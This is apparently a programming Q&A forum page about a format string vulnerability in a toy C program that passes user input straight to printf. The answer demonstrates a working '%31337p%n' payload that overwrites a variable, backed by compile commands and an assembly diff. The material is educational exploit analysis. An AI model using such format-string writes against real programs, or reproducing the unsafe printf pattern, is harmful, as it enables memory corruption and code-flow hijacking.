Format string attack in printf

前端 未结 1 1435
天涯浪人
天涯浪人 2021-01-14 18:29
#include 
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf(\"%50s\",s);
    printf(s);

    if (a==31337)
        func();
}


        
相关标签:
1条回答
  • 2021-01-14 18:56

    Let's try with and without printing:

    $ cat > f.c << \EOF
    #include <stdio.h>
    void func() {
        fprintf(stderr, "func\n");
    }
    
    int main()
    {
        char s[200];
        int a=123;
        int b=&a;
        #ifdef FIXER
        fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
        #endif
        scanf("%50s",s);
        printf(s);
    
        if (a==31337)
            func();
    }
    EOF
    
    $ gcc --version | head -n 1; uname -m
    gcc (Debian 4.7.2-5) 4.7.2
    i686
    
    $ gcc -S  f.c -o doesnt_work.s
    f.c: In function 'main':
    f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
    $ gcc -S -DFIXER  f.c -o does_work.s
    f.c: In function 'main':
    f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
    
    $ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work
    
    
    $ echo '%31337p%n' | ./does_work > /dev/null
    0xbfe75970
    func
    
    $ echo '%31337p%n' | ./doesnt_work > /dev/null
    Segmentation fault
    

    As stated in the question, we clearly see that without printing b first it fails.

    Let's compare what is hapenning inside:

    $ diff -ur does_work.s doesnt_work.s
    --- does_work.s 2013-02-06 03:17:06.000000000 +0300
    +++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
    @@ -29,8 +29,6 @@
        .size   func, .-func
        .section    .rodata
     .LC1:
    -   .string "%p\n"
    -.LC2:
        .string "%50s"
        .text
        .globl  main
    @@ -48,15 +46,9 @@
        movl    $123, 16(%esp)
        leal    16(%esp), %eax
        movl    %eax, 220(%esp)
    -   movl    stderr, %eax
    -   movl    220(%esp), %edx    /* !!! */
    -   movl    %edx, 8(%esp)      /* !!! */
    -   movl    $.LC1, 4(%esp)
    -   movl    %eax, (%esp)
    -   call    fprintf
        leal    20(%esp), %eax
        movl    %eax, 4(%esp)
    -   movl    $.LC2, (%esp)
    +   movl    $.LC1, (%esp)
        call    __isoc99_scanf
        leal    20(%esp), %eax
        movl    %eax, (%esp)
    

    On marked lines we see "get value of b into %edx, then put it as 3'rd argument in stack."

    As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf for setting.

    When we don't print b, it does not get into stack to be easily available for our injected format string.

    With enough %p%p%p%p%p%p... we should be able to reach our actual a or b anyway, but the limitation of 50 input characters is getting in our way.

    0 讨论(0)
提交回复
热议问题